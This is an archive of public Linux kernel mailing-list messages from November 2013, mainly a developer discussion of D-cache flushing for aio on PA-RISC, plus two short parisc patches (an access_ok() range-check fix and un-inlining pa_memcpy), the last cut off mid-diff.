X-Gm-Message-State: ALoCoQlOAiLKnQT/r/BWLaHtl2LhGN91YlH9AVJqOt2HJHj6jgjYJ8XgkYTZ0JsxYMHFXznaqWAurLKSQGXQLp2fBWAGD1fdOTF7XFhFT4EjXNODSMFTfpml5LMZuUXmJzuyrrlwTeQ6zGjG0U42jsD4MAcLzwnwzg==
X-Received: by 10.68.134.98 with SMTP id pj2mr5754251pbb.110.1384639603514;
        Sat, 16 Nov 2013 14:06:43 -0800 (PST)
X-Received: by 10.68.134.98 with SMTP id pj2mr5754206pbb.110.1384639602640;
        Sat, 16 Nov 2013 14:06:42 -0800 (PST)
Original-Received: from psmtp.com ([74.125.245.120])
        by mx.google.com with SMTP id mj9si5659774pab.45.2013.11.16.14.06.41
        for <linux-aio@kvack.org>;
        Sat, 16 Nov 2013 14:06:42 -0800 (PST)
Received-SPF: pass (google.com: domain of James.Bottomley@hansenpartnership.com designates 66.63.167.143 as permitted sender) client-ip=66.63.167.143;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of James.Bottomley@hansenpartnership.com designates 66.63.167.143 as permitted sender) smtp.mail=James.Bottomley@hansenpartnership.com
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]) by na3sys010amx120.postini.com ([74.125.244.11]) with SMTP;
	Sat, 16 Nov 2013 22:06:42 GMT
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B74188EE0C4;
	Sat, 16 Nov 2013 14:06:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WElThHOmFzBh; Sat, 16 Nov 2013 14:06:38 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1E04E8EE04D;
	Sat, 16 Nov 2013 14:06:32 -0800 (PST)
In-Reply-To: <20131116200717.GA18939@schnuecks.de>
X-Mailer: Evolution 3.8.5
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-nxpr: disp=neutral, envrcpt=linux-aio@kvack.org
X-pstn-nxp: bodyHash=69cc1f883fe0400c4d82fa6f442188c98b65aa24, headerHash=9732fbb567f23ec7db2b43dd1df935307511de98, keyName=4, rcptHash=ad88d98877073a29e2b2d68406771f9695e1c4fc, sourceip=66.63.167.143, version=1
X-pstn-nxpr: disp=neutral, envrcpt=linux-aio@kvack.org
X-pstn-nxp: bodyHash=69cc1f883fe0400c4d82fa6f442188c98b65aa24, headerHash=9732fbb567f23ec7db2b43dd1df935307511de98, keyName=4, rcptHash=ad88d98877073a29e2b2d68406771f9695e1c4fc, sourceip=66.63.167.143, version=1
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:3796 gmane.linux.kernel:1596483 gmane.linux.ports.parisc:5489
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/3796>

On Sat, 2013-11-16 at 21:07 +0100, Simon Baatz wrote:
> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> > On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> > > When a user page mapping is released via kunmap*() functions, the D-cache needs
> > > to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> > > 
> > > This patch fixes aio on the parisc platform (and probably others).
> > 
> > This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> > full coherency but for unmap, we know the page was coherent going in and
> > may have been modified by the kernel, so only the kernel view needs to
> > be sync'd.  Technically, by the kernel API, the flush should be done
> > *before* unmapping.  This would have mattered on parisc until we did
> > flush via tmpalias which means we no-longer care if the mapping for the
> > flush exists or not because we always recreate it via the tmpalias
> > pages.
> 
> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> mapped.  It avoids double flushing of highmem pages by not flushing
> in those cases where kunmap_atomic() already takes care of flushing.

On Parisc, kmap/kunmap is currently a nop.  However, if we ever
implemented highmem, we would also need to flush before we unmap, which
is why the flush needs to go before the kunmap.

I've got to say on all of this, we've implemented the most inane set of
primitives.  It would be much easier if kmap/kunmap just took care of
all of this.  kmap should bring userspace into coherence (because why
else would we be kmapping) and kunmap should force coherence on the
kernel address ... and then no-one would need to worry when to and when
not to flush.

James


--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:09:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sat, 16 Nov 2013 17:32:30 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <BLU0-SMTP77F560605C9D02E4CA7C6997FA0@phx.gbl>
References: <20131115220529.GA3160@ls3530.box> <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com> <20131116200717.GA18939@schnuecks.de> <1384639590.3614.16.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384641190 23809 80.91.229.3 (16 Nov 2013 22:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Nov 2013 22:33:10 +0000 (UTC)
Cc: Simon Baatz <gmbnomis@gmail.com>, Helge Deller <deller@gmx.de>,
	Benjamin LaHaise <bcrl@kvack.org>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 16 23:33:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VhoQQ-0004zh-NZ
	for glpp-linux-parisc@plane.gmane.org; Sat, 16 Nov 2013 23:33:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752127Ab3KPWdK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Nov 2013 17:33:10 -0500
Original-Received: from [65.55.116.25] ([65.55.116.25]:19682 "EHLO
	blu0-omc1-s14.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752743Ab3KPWdJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Nov 2013 17:33:09 -0500
Original-Received: from BLU0-SMTP77 ([65.55.116.9]) by blu0-omc1-s14.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 16 Nov 2013 14:32:49 -0800
X-TMN: [hkznAEIIdIqX7Cmu7O7xucg1Ql26BJxL]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.247]) by BLU0-SMTP77.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 16 Nov 2013 14:32:47 -0800
In-Reply-To: <1384639590.3614.16.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 Nov 2013 22:32:47.0737 (UTC) FILETIME=[C6B00690:01CEE31B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5490 gmane.linux.kernel.aio.general:3797 gmane.linux.kernel:1596485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5490>

On 16-Nov-13, at 5:06 PM, James Bottomley wrote:

> On Sat, 2013-11-16 at 21:07 +0100, Simon Baatz wrote:
>> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
>>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
>>>> When a user page mapping is released via kunmap*() functions, the  
>>>> D-cache needs
>>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing  
>>>> issues.
>>>>
>>>> This patch fixes aio on the parisc platform (and probably others).
>>>
>>> This should be flush_kernel_dcache_page().  flush_dcache_page() is  
>>> for
>>> full coherency but for unmap, we know the page was coherent going  
>>> in and
>>> may have been modified by the kernel, so only the kernel view  
>>> needs to
>>> be sync'd.  Technically, by the kernel API, the flush should be done
>>> *before* unmapping.  This would have mattered on parisc until we did
>>> flush via tmpalias which means we no-longer care if the mapping  
>>> for the
>>> flush exists or not because we always recreate it via the tmpalias
>>> pages.
>>
>> On ARM, flush_kernel_dcache_page() actually assumes that the page is
>> mapped.  It avoids double flushing of highmem pages by not flushing
>> in those cases where kunmap_atomic() already takes care of flushing.
>
> On Parisc, kmap/kunmap is currently a nop.  However, if we ever
> implemented highmem, we would also need to flush before we unmap,  
> which
> is why the flush needs to go before the kunmap.

Not quite.  On PA8800/PA8900, we currently do a flush in kunmap.

I'm fairly certain from discussion with Helge that he saw this bug on  
a C8000
with PA8800 processor.  In that case, adding a call to  
flush_kernel_dcache_page()
just duplicates the call in kunmap().  Could be wrong though.

The problem is the coherence with userspace.  That's why  
flush_dcache_page()
is called in several places in this file.  I agree with you that this  
should be done
before.

>
> I've got to say on all of this, we've implemented the most inane set  
> of
> primitives.  It would be much easier if kmap/kunmap just took care of
> all of this.  kmap should bring userspace into coherence (because why
> else would we be kmapping) and kunmap should force coherence on the
> kernel address ... and then no-one would need to worry when to and  
> when
> not to flush.


I'm working on adding a flush to our kmap code to bring userspace into
coherence on PA8800/PA8900.  It's ugly because it requires looping over
vma's as we do in in flush_dcache_page().

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sat, 16 Nov 2013 14:37:46 -0800
Lines: 66
Approved: news@gmane.org
Message-ID: <1384641466.3614.19.camel@dabdike.int.hansenpartnership.com>
References: <20131115220529.GA3160@ls3530.box>
	 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
	 <20131116200717.GA18939@schnuecks.de>
	 <1384639590.3614.16.camel@dabdike.int.hansenpartnership.com>
	 <BLU0-SMTP77F560605C9D02E4CA7C6997FA0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384641471 26236 80.91.229.3 (16 Nov 2013 22:37:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Nov 2013 22:37:51 +0000 (UTC)
Cc: Simon Baatz <gmbnomis@gmail.com>, Helge Deller <deller@gmx.de>,
	Benjamin LaHaise <bcrl@kvack.org>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 16 23:37:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VhoUz-0000sz-W6
	for glpp-linux-parisc@plane.gmane.org; Sat, 16 Nov 2013 23:37:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753260Ab3KPWhx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Nov 2013 17:37:53 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53142 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753202Ab3KPWhw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Nov 2013 17:37:52 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 39AEB8EE0C4;
	Sat, 16 Nov 2013 14:37:52 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EJhPfs8Zi3ta; Sat, 16 Nov 2013 14:37:52 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D160B8EE04D;
	Sat, 16 Nov 2013 14:37:47 -0800 (PST)
In-Reply-To: <BLU0-SMTP77F560605C9D02E4CA7C6997FA0@phx.gbl>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5491 gmane.linux.kernel.aio.general:3798 gmane.linux.kernel:1596486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5491>

On Sat, 2013-11-16 at 17:32 -0500, John David Anglin wrote:
> On 16-Nov-13, at 5:06 PM, James Bottomley wrote:
> 
> > On Sat, 2013-11-16 at 21:07 +0100, Simon Baatz wrote:
> >> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> >>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> >>>> When a user page mapping is released via kunmap*() functions, the  
> >>>> D-cache needs
> >>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing  
> >>>> issues.
> >>>>
> >>>> This patch fixes aio on the parisc platform (and probably others).
> >>>
> >>> This should be flush_kernel_dcache_page().  flush_dcache_page() is  
> >>> for
> >>> full coherency but for unmap, we know the page was coherent going  
> >>> in and
> >>> may have been modified by the kernel, so only the kernel view  
> >>> needs to
> >>> be sync'd.  Technically, by the kernel API, the flush should be done
> >>> *before* unmapping.  This would have mattered on parisc until we did
> >>> flush via tmpalias which means we no-longer care if the mapping  
> >>> for the
> >>> flush exists or not because we always recreate it via the tmpalias
> >>> pages.
> >>
> >> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> >> mapped.  It avoids double flushing of highmem pages by not flushing
> >> in those cases where kunmap_atomic() already takes care of flushing.
> >
> > On Parisc, kmap/kunmap is currently a nop.  However, if we ever
> > implemented highmem, we would also need to flush before we unmap,  
> > which
> > is why the flush needs to go before the kunmap.
> 
> Not quite.  On PA8800/PA8900, we currently do a flush in kunmap.
> 
> I'm fairly certain from discussion with Helge that he saw this bug on  
> a C8000
> with PA8800 processor.  In that case, adding a call to  
> flush_kernel_dcache_page()
> just duplicates the call in kunmap().

Yes, if that's true it won't be the solution.

>   Could be wrong though.
> 
> The problem is the coherence with userspace.  That's why  
> flush_dcache_page()
> is called in several places in this file.  I agree with you that this  
> should be done
> before.

If we need coherence with userspace, we can't do it as we unmap because
by then we've used the data in the kernel.  We have to do it as we kmap,
because that's when we're preparing to use the data.  So the solution,
if this is the problem, would be flush_dcache_page() just after kmap.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sat, 16 Nov 2013 17:49:33 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <BLU0-SMTP37F8F388A1DE7927BB765997FA0@phx.gbl>
References: <20131115220529.GA3160@ls3530.box> <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com> <20131116200717.GA18939@schnuecks.de> <1384639590.3614.16.camel@dabdike.int.hansenpartnership.com> <BLU0-SMTP77F560605C9D02E4CA7C6997FA0@phx.gbl> <1384641466.3614.19.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384642218 1030 80.91.229.3 (16 Nov 2013 22:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Nov 2013 22:50:18 +0000 (UTC)
Cc: Simon Baatz <gmbnomis@gmail.com>, Helge Deller <deller@gmx.de>,
	Benjamin LaHaise <bcrl@kvack.org>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 16 23:50:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vhoh2-000826-Qz
	for glpp-linux-parisc@plane.gmane.org; Sat, 16 Nov 2013 23:50:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753215Ab3KPWtp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Nov 2013 17:49:45 -0500
Original-Received: from blu0-omc1-s3.blu0.hotmail.com ([65.55.116.14]:13630 "EHLO
	blu0-omc1-s3.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752682Ab3KPWto (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Nov 2013 17:49:44 -0500
Original-Received: from BLU0-SMTP37 ([65.55.116.9]) by blu0-omc1-s3.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 16 Nov 2013 14:49:44 -0800
X-TMN: [TM1vwKUntIIov+gEgHFEzFuQ4oMGYm8V]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.247]) by BLU0-SMTP37.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 16 Nov 2013 14:49:42 -0800
In-Reply-To: <1384641466.3614.19.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 Nov 2013 22:49:43.0116 (UTC) FILETIME=[23E690C0:01CEE31E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5492 gmane.linux.kernel.aio.general:3799 gmane.linux.kernel:1596487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5492>

On 16-Nov-13, at 5:37 PM, James Bottomley wrote:

> On Sat, 2013-11-16 at 17:32 -0500, John David Anglin wrote:
>> On 16-Nov-13, at 5:06 PM, James Bottomley wrote:
>>
>>> On Sat, 2013-11-16 at 21:07 +0100, Simon Baatz wrote:
>>>> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
>>>>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
>>>>>> When a user page mapping is released via kunmap*() functions, the
>>>>>> D-cache needs
>>>>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing
>>>>>> issues.
>>>>>>
>>>>>> This patch fixes aio on the parisc platform (and probably  
>>>>>> others).
>>>>>
>>>>> This should be flush_kernel_dcache_page().  flush_dcache_page() is
>>>>> for
>>>>> full coherency but for unmap, we know the page was coherent going
>>>>> in and
>>>>> may have been modified by the kernel, so only the kernel view
>>>>> needs to
>>>>> be sync'd.  Technically, by the kernel API, the flush should be  
>>>>> done
>>>>> *before* unmapping.  This would have mattered on parisc until we  
>>>>> did
>>>>> flush via tmpalias which means we no-longer care if the mapping
>>>>> for the
>>>>> flush exists or not because we always recreate it via the tmpalias
>>>>> pages.
>>>>
>>>> On ARM, flush_kernel_dcache_page() actually assumes that the page  
>>>> is
>>>> mapped.  It avoids double flushing of highmem pages by not flushing
>>>> in those cases where kunmap_atomic() already takes care of  
>>>> flushing.
>>>
>>> On Parisc, kmap/kunmap is currently a nop.  However, if we ever
>>> implemented highmem, we would also need to flush before we unmap,
>>> which
>>> is why the flush needs to go before the kunmap.
>>
>> Not quite.  On PA8800/PA8900, we currently do a flush in kunmap.
>>
>> I'm fairly certain from discussion with Helge that he saw this bug on
>> a C8000
>> with PA8800 processor.  In that case, adding a call to
>> flush_kernel_dcache_page()
>> just duplicates the call in kunmap().
>
> Yes, if that's true it won't be the solution.

The calls may be needed for the two cases where the page is changed,  
but I don't
know how to avoid double flush on PA8800/PA8900 without changing the  
primatives.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix commit 63379c1 parisc: implement full version of
 access_ok()
Date: Sun, 17 Nov 2013 21:56:38 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20131117205638.GA2852@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384721799 18228 80.91.229.3 (17 Nov 2013 20:56:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Nov 2013 20:56:39 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 17 21:56:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vi9Od-0006tn-0k
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Nov 2013 21:56:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751222Ab3KQU4m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 15:56:42 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61706 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750983Ab3KQU4m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 15:56:42 -0500
Original-Received: from p100.box ([84.173.19.218]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0Lvkwm-1VcpKm14GK-017UQy for
 <linux-parisc@vger.kernel.org>; Sun, 17 Nov 2013 21:56:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:59zp5YneWnCCzclgg+H7KZ9LfbxmYaTHHlszcS57WBwBbFhb4DQ
 gP1+bukgeFTQzeGvV1XWyyGD2AuSuYSZjb1GCHBR4yPAMFYKNdoj2LGITs9VifUBGecYfuc
 ZXacj9O2Eiov4GvJ987sMMZYBV4PR5ujQI+S7yo1mbcNUaaV5r6nuCE8fPfQmSIaZicB6AT
 HytWW75yQLKKy4fJYH7KA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5493>

Commit 63379c1 parisc: implement full version of access_ok() was incomplete and
broke userspace. Fix it by checking if we really write to userspace.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 63f4dd0..228fecb 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -45,7 +45,11 @@ static inline int __range_not_ok(unsigned long addr, unsigned long size,
 				 unsigned long limit)
 {
 	unsigned long __newaddr = addr + size;
-	return (__newaddr < addr || __newaddr > limit || size > limit);
+
+	if (segment_eq(get_fs(), KERNEL_DS))
+		return 0;
+
+	return (addr < PAGE_SIZE || __newaddr > limit || size > limit);
 }
 
 /**
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: do not inline pa_memcpy()
Date: Sun, 17 Nov 2013 22:03:11 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20131117210311.GA2980@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384722196 21757 80.91.229.3 (17 Nov 2013 21:03:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Nov 2013 21:03:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 17 22:03:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vi9V1-0002Vt-Ot
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Nov 2013 22:03:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751222Ab3KQVDQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 16:03:16 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:64230 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750983Ab3KQVDP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 16:03:15 -0500
Original-Received: from p100.box ([84.173.19.218]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0Lusmr-1VZFWy05eT-0101UD for
 <linux-parisc@vger.kernel.org>; Sun, 17 Nov 2013 22:03:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:ad7KvzEJC6A0uj4spjZIOKnhAo8AJ+/kfgdA90TZS1zt7d8jeIf
 kyqc4jpcc9cW+0LvXefDNp/4jdo9u5eSV1GFLrDjUuOMu2t1ZTOFIzxjxoxo6GEHtFwEBQ5
 37RPlRnwU7vfwbN3GjEChlCPtkv4wyyTiDRGSnpr4BC4E+6qjlSWdBPz6fgffKgPsTWnw5T
 EeXLZ2NzrMJGafQmS8sGw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5494
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5494>

gcc (4.8.x) creates wrong code when pa_memcpy() is inlined.
Especially in 32bit builds it calculates wrong return values if we
encounter a fault during execution of the memcpy.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index b5507ec..e2285e1 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -460,7 +460,7 @@ handle_store_error:
 
 
 /* Returns 0 for success, otherwise, returns number of bytes not transferred. */
